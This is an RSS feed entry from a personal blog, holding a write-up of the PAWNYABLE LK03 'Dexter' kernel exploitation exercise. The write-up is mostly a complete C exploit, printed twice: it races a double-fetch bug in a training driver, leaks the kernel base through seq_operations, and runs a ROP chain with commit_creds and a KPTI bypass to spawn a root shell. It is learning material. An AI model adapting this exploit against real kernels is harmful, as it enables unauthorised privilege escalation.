<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Heap Overflow on Uniguri&#39;s Blog</title>
    <link>/tags/heap-overflow/</link>
    <description>Recent content in Heap Overflow on Uniguri&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Tue, 14 Jan 2025 09:31:17 +0000</lastBuildDate><atom:link href="/tags/heap-overflow/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>PAWNYABLE LK03: Dexter</title>
      <link>/posts/kernel/pawnyable/pawnyable_lk03/</link>
      <pubDate>Tue, 14 Jan 2025 09:31:17 +0000</pubDate>
      
      <guid>/posts/kernel/pawnyable/pawnyable_lk03/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;lk03-dexter&#34;&gt;LK03 (Dexter)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;784519362&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;784519362&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_seq_operations_without_smap.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEV_DEVICE_NAME &amp;#34;dexter&amp;#34;
#define VULN_DEV_BUFFER_SIZE 0x20
#define VULN_DEV_CMD_GET 0xdec50001
#define VULN_DEV_CMD_SET 0xdec50002

#define KERNEL_BASE 0xffffffff81000000
#define SEQ_OPERATIONS_START 0xffffffff81170f80
#define SEQ_OPERATIONS_START_OFFSET (SEQ_OPERATIONS_START - KERNEL_BASE)
#define FAKE_STACK_ADDRESS (0xf6000000)
#define MOV_ESP_0xf6000000_OFFSET (0xffffffff81520224 - KERNEL_BASE)
#define MOV_ESP_0xf6000000 (kernel_base + MOV_ESP_0xf6000000_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0cd - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729b0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff8110d88b - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8163d0ab - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072810 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

static void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, &amp;#34;
      &amp;#34;user_rflags: &amp;#34;
      &amp;#34;0x%016lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

typedef struct {
  char* ptr;
  size_t len;
} request_t;

static int vuln_dev_fd = -1;
static request_t vuln_dev_req = {
    0,
};
static int vuln_dev_set(void* ptr, size_t len) {
  vuln_dev_req.ptr = ptr;
  vuln_dev_req.len = len;
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_SET, &amp;amp;vuln_dev_req);
}
static int vuln_dev_get(void* ptr, size_t len) {
  vuln_dev_req.ptr = ptr;
  vuln_dev_req.len = len;
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_GET, &amp;amp;vuln_dev_req);
}

static int race_success = 0;
static void* vuln_dev_race(void* arg) {
  const size_t len = (size_t)arg;
  while (!race_success) {
    vuln_dev_req.len = len;
    usleep(1);
  }
  return NULL;
}
static void vuln_dev_oob_read(void* out, size_t len) {
  if (len &amp;lt;= VULN_DEV_BUFFER_SIZE) {
    vuln_dev_get(out, len);
    return;
  }

  pthread_t th;
  race_success = 0;
  const uint64_t cur_rand_val = 0xdeadbeefcafebebe + rand();
  *(uint64_t*)(out + VULN_DEV_BUFFER_SIZE) = cur_rand_val;
  pthread_create(&amp;amp;th, NULL, &amp;amp;vuln_dev_race, (void*)len);
  while (!race_success) {
    if (vuln_dev_get(out, VULN_DEV_BUFFER_SIZE)) {
      continue;
    }
    if (*(uint64_t*)(out + VULN_DEV_BUFFER_SIZE) != cur_rand_val) {
      race_success = 1;
    }
  }
  pthread_join(th, NULL);
}
static void vuln_dev_oob_write(void* data, size_t len) {
  if (len &amp;lt;= VULN_DEV_BUFFER_SIZE) {
    vuln_dev_set(data, len);
    return;
  }

  pthread_t th;
  race_success = 0;
  const uint64_t cur_rand_val = 0xdeadbeefcafebebe + rand();
  void* tmp = malloc(len);
  *(uint64_t*)(tmp + VULN_DEV_BUFFER_SIZE) = cur_rand_val;
  pthread_create(&amp;amp;th, NULL, &amp;amp;vuln_dev_race, (void*)len);
  while (!race_success) {
    if (vuln_dev_set(data, VULN_DEV_BUFFER_SIZE)) {
      continue;
    }

    while (1) {
      if (vuln_dev_get(tmp, VULN_DEV_BUFFER_SIZE)) {
        continue;
      }
      if (*(uint64_t*)(tmp + VULN_DEV_BUFFER_SIZE) != cur_rand_val) {
        break;
      }
    }

    if (!memcmp(tmp, data, len)) {
      race_success = 1;
    }
  }
  free(tmp);
  pthread_join(th, NULL);
}

static uint64_t kernel_base = 0;

int main() {
  char char_buf[0x800];
  uint64_t* uint64_buf = (uint64_t*)char_buf;
  srand(time(NULL));
  save_state();

  int seq_ops_spray[800] = {
      0,
  };
  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]) / 2;
       ++i) {
    seq_ops_spray[i] = open(&amp;#34;/proc/self/stat&amp;#34;, O_RDONLY);
  }
  vuln_dev_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEV_DEVICE_NAME, O_RDONLY);
  if (vuln_dev_fd &amp;lt; 0) {
    fatal(&amp;#34;open &amp;#34; VULN_DEV_DEVICE_NAME);
  }
  for (int i = sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]) / 2;
       i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    seq_ops_spray[i] = open(&amp;#34;/proc/self/stat&amp;#34;, O_RDONLY);
  }

  int seq_ops_start_idx = -1;
  vuln_dev_oob_read(char_buf, sizeof(char_buf));
  for (int i = 0; i &amp;lt; sizeof(char_buf) / sizeof(uint64_t); ++i) {
    if ((uint64_buf[i] &amp;amp; SEQ_OPERATIONS_START_OFFSET) ==
        SEQ_OPERATIONS_START_OFFSET) {
      kernel_base = uint64_buf[i] - SEQ_OPERATIONS_START_OFFSET;
      seq_ops_start_idx = i;
      break;
    }
  }
  if (seq_ops_start_idx == -1 || kernel_base == 0 ||
      (kernel_base &amp;amp; 0xFFFFF) != 0) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  printf(&amp;#34;[+] kernel_base: 0x%16lx @ idx: %d\n&amp;#34;, kernel_base,
         seq_ops_start_idx);

  void* fake_stack = mmap(
      (void*)(FAKE_STACK_ADDRESS - 0x8000), 0x10000, PROT_READ | PROT_WRITE,
      MAP_POPULATE | MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

  uint64_t* rop = (uint64_t*)(FAKE_STACK_ADDRESS);
  *rop++ = POP_RDI;
  *rop++ = 0;
  *rop++ = PREPARE_KERNEL_CRED;
  *rop++ = POP_RCX;
  *rop++ = 0;
  *rop++ = MOV_RDI_RAX_REP;
  *rop++ = COMMIT_CREDS;
  *rop++ = BYPASS_KPTI;
  *rop++ = 0xdeadbeefcafebe01;
  *rop++ = 0xdeadbeefcafebe02;
  *rop++ = (uint64_t)(get_shell);
  *rop++ = (uint64_t)(user_cs);
  *rop++ = (uint64_t)(user_rflags);
  *rop++ = (uint64_t)(user_sp);
  *rop++ = (uint64_t)(user_ss);

  uint64_buf[seq_ops_start_idx] = MOV_ESP_0xf6000000;
  vuln_dev_oob_write(uint64_buf, 8 * (seq_ops_start_idx + 1));

  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    read(seq_ops_spray[i], char_buf, 0x100);
  }

  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    close(seq_ops_spray[i]);
  }

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;exercise-with-smap&#34;&gt;Exercise (with SMAP)&lt;/h2&gt;
&lt;p&gt;I tried writing exploit code with SMAP enabled. But I failed.
I think that any registers cannot be controlled when using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.17.1/source/include/linux/seq_file.h#L32&#34;&gt;&lt;code&gt;seq_operations&lt;/code&gt;&lt;/a&gt; to control RIP.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;lk03-dexter&#34;&gt;LK03 (Dexter)&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;784519362&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;784519362&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_seq_operations_without_smap.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEV_DEVICE_NAME &amp;#34;dexter&amp;#34;
#define VULN_DEV_BUFFER_SIZE 0x20
#define VULN_DEV_CMD_GET 0xdec50001
#define VULN_DEV_CMD_SET 0xdec50002

#define KERNEL_BASE 0xffffffff81000000
#define SEQ_OPERATIONS_START 0xffffffff81170f80
#define SEQ_OPERATIONS_START_OFFSET (SEQ_OPERATIONS_START - KERNEL_BASE)
#define FAKE_STACK_ADDRESS (0xf6000000)
#define MOV_ESP_0xf6000000_OFFSET (0xffffffff81520224 - KERNEL_BASE)
#define MOV_ESP_0xf6000000 (kernel_base + MOV_ESP_0xf6000000_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0cd - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729b0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff8110d88b - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8163d0ab - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072810 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

static void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, &amp;#34;
      &amp;#34;user_rflags: &amp;#34;
      &amp;#34;0x%016lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

typedef struct {
  char* ptr;
  size_t len;
} request_t;

static int vuln_dev_fd = -1;
static request_t vuln_dev_req = {
    0,
};
static int vuln_dev_set(void* ptr, size_t len) {
  vuln_dev_req.ptr = ptr;
  vuln_dev_req.len = len;
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_SET, &amp;amp;vuln_dev_req);
}
static int vuln_dev_get(void* ptr, size_t len) {
  vuln_dev_req.ptr = ptr;
  vuln_dev_req.len = len;
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_GET, &amp;amp;vuln_dev_req);
}

static int race_success = 0;
static void* vuln_dev_race(void* arg) {
  const size_t len = (size_t)arg;
  while (!race_success) {
    vuln_dev_req.len = len;
    usleep(1);
  }
  return NULL;
}
static void vuln_dev_oob_read(void* out, size_t len) {
  if (len &amp;lt;= VULN_DEV_BUFFER_SIZE) {
    vuln_dev_get(out, len);
    return;
  }

  pthread_t th;
  race_success = 0;
  const uint64_t cur_rand_val = 0xdeadbeefcafebebe + rand();
  *(uint64_t*)(out + VULN_DEV_BUFFER_SIZE) = cur_rand_val;
  pthread_create(&amp;amp;th, NULL, &amp;amp;vuln_dev_race, (void*)len);
  while (!race_success) {
    if (vuln_dev_get(out, VULN_DEV_BUFFER_SIZE)) {
      continue;
    }
    if (*(uint64_t*)(out + VULN_DEV_BUFFER_SIZE) != cur_rand_val) {
      race_success = 1;
    }
  }
  pthread_join(th, NULL);
}
static void vuln_dev_oob_write(void* data, size_t len) {
  if (len &amp;lt;= VULN_DEV_BUFFER_SIZE) {
    vuln_dev_set(data, len);
    return;
  }

  pthread_t th;
  race_success = 0;
  const uint64_t cur_rand_val = 0xdeadbeefcafebebe + rand();
  void* tmp = malloc(len);
  *(uint64_t*)(tmp + VULN_DEV_BUFFER_SIZE) = cur_rand_val;
  pthread_create(&amp;amp;th, NULL, &amp;amp;vuln_dev_race, (void*)len);
  while (!race_success) {
    if (vuln_dev_set(data, VULN_DEV_BUFFER_SIZE)) {
      continue;
    }

    while (1) {
      if (vuln_dev_get(tmp, VULN_DEV_BUFFER_SIZE)) {
        continue;
      }
      if (*(uint64_t*)(tmp + VULN_DEV_BUFFER_SIZE) != cur_rand_val) {
        break;
      }
    }

    if (!memcmp(tmp, data, len)) {
      race_success = 1;
    }
  }
  free(tmp);
  pthread_join(th, NULL);
}

static uint64_t kernel_base = 0;

int main() {
  char char_buf[0x800];
  uint64_t* uint64_buf = (uint64_t*)char_buf;
  srand(time(NULL));
  save_state();

  int seq_ops_spray[800] = {
      0,
  };
  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]) / 2;
       ++i) {
    seq_ops_spray[i] = open(&amp;#34;/proc/self/stat&amp;#34;, O_RDONLY);
  }
  vuln_dev_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEV_DEVICE_NAME, O_RDONLY);
  if (vuln_dev_fd &amp;lt; 0) {
    fatal(&amp;#34;open &amp;#34; VULN_DEV_DEVICE_NAME);
  }
  for (int i = sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]) / 2;
       i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    seq_ops_spray[i] = open(&amp;#34;/proc/self/stat&amp;#34;, O_RDONLY);
  }

  int seq_ops_start_idx = -1;
  vuln_dev_oob_read(char_buf, sizeof(char_buf));
  for (int i = 0; i &amp;lt; sizeof(char_buf) / sizeof(uint64_t); ++i) {
    if ((uint64_buf[i] &amp;amp; SEQ_OPERATIONS_START_OFFSET) ==
        SEQ_OPERATIONS_START_OFFSET) {
      kernel_base = uint64_buf[i] - SEQ_OPERATIONS_START_OFFSET;
      seq_ops_start_idx = i;
      break;
    }
  }
  if (seq_ops_start_idx == -1 || kernel_base == 0 ||
      (kernel_base &amp;amp; 0xFFFFF) != 0) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  printf(&amp;#34;[+] kernel_base: 0x%16lx @ idx: %d\n&amp;#34;, kernel_base,
         seq_ops_start_idx);

  void* fake_stack = mmap(
      (void*)(FAKE_STACK_ADDRESS - 0x8000), 0x10000, PROT_READ | PROT_WRITE,
      MAP_POPULATE | MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

  uint64_t* rop = (uint64_t*)(FAKE_STACK_ADDRESS);
  *rop++ = POP_RDI;
  *rop++ = 0;
  *rop++ = PREPARE_KERNEL_CRED;
  *rop++ = POP_RCX;
  *rop++ = 0;
  *rop++ = MOV_RDI_RAX_REP;
  *rop++ = COMMIT_CREDS;
  *rop++ = BYPASS_KPTI;
  *rop++ = 0xdeadbeefcafebe01;
  *rop++ = 0xdeadbeefcafebe02;
  *rop++ = (uint64_t)(get_shell);
  *rop++ = (uint64_t)(user_cs);
  *rop++ = (uint64_t)(user_rflags);
  *rop++ = (uint64_t)(user_sp);
  *rop++ = (uint64_t)(user_ss);

  uint64_buf[seq_ops_start_idx] = MOV_ESP_0xf6000000;
  vuln_dev_oob_write(uint64_buf, 8 * (seq_ops_start_idx + 1));

  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    read(seq_ops_spray[i], char_buf, 0x100);
  }

  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / sizeof(seq_ops_spray[0]); ++i) {
    close(seq_ops_spray[i]);
  }

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;exercise-with-smap&#34;&gt;Exercise (with SMAP)&lt;/h2&gt;
&lt;p&gt;I tried writing exploit code with SMAP enabled. But I failed.
I think that any registers cannot be controlled when using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.17.1/source/include/linux/seq_file.h#L32&#34;&gt;&lt;code&gt;seq_operations&lt;/code&gt;&lt;/a&gt; to control RIP.&lt;/p&gt;
&lt;p&gt;My inference to exploit with SMAP:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Find &lt;code&gt;kmalloc-32&lt;/code&gt; object containing reference count&lt;/li&gt;
&lt;li&gt;Using heap overflow, make UAF object.&lt;/li&gt;
&lt;li&gt;Do cross-cache attack and exploit UAF.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Or just find a good &lt;code&gt;kmalloc-32&lt;/code&gt; object with RIP controll primitives with register controll or AAW primitives, ETC.
But I cannot find the good object&amp;hellip;&lt;/p&gt;
&lt;p&gt;Currently, I does not know what is cross-cache attack and how SLUB works.
Therefore I decide to delay solving this exercise until I study SLUB and cross-cache attack, ETC.&lt;/p&gt;
&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK03/double_fetch.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK03/double_fetch.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
  </channel>
</rss>
